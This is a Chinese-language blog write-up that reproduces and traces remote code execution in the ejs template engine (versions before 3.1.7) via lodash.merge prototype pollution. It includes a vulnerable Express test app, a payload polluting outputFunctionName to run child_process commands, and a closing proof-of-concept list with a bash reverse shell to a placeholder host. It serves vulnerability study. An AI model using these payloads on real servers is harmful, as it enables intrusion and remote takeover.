首先注意,这个是在原型链污染的前提下,进行的RCE,并不是ejs本身存在原型链污染导致RCE
影响版本
ejs版本 < 3.1.7
环境搭建
因为该RCE的前提条件是原型链污染,为了方便本地复现,这里使用 lodash.merge
方法中的原型链污染漏洞。
1 2 3
| npm install lodash@4.17.4 npm install ejs@3.1.6 npm install express
|
测试代码
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| var express = require('express'); var lodash = require('lodash'); var ejs = require('ejs');
var app = express();
app.set('views', __dirname); app.set('views engine','ejs');
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}'; lodash.merge({}, JSON.parse(malicious_payload));
app.get('/', function (req, res) { res.render ("index.ejs",{ message: 'whoami test' }); });
var server = app.listen(8000, function () {
var host = server.address().address var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port) });
|
index.ejs
1 2 3 4 5 6 7 8 9 10 11 12
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body>
<h1><%= message%></h1>
</body> </html>
|
运行 app.js 后访问 8000 端口,成功弹出计算器:

调试分析
下面开始分析
在res.render处下断点,第11行是要在reander之前原型链污染添加一个outputFunctionName
属性

跟进res.render函数

进入到response.js,到1039行的app.render函数

跟进到application.js,到render函数,函数的最后一行tryRender

到同文件application.js中的tryRender函数,调用了view.render(options, callback);

跟进render函数,到view.js的render函数,这里调用this.engine。

跟进this.engine(this.path, options, callback);
,从这里进入到了模板渲染引擎 ejs.js
中

跟进tryHandleCache
,调用handleCache
方法,传data参数

跟进handleCache,调用渲染模板的compile方法

跟进compile方法,调用templ.compile()
,这个函数存在大量的渲染拼接,其中会判断opts.outputFunctionName是否存在,这也是我们为什么要污染outputFunctionName属性的缘故,判断成功会将outputFunctionName拼接到prepended中。
而prepended 在最后会被传递给 this.source 并被带入函数执行

常用的ejs模板引擎RCE的POC
1 2 3 4 5
| {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
|
参考链接
- 从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台 (anquanke.com)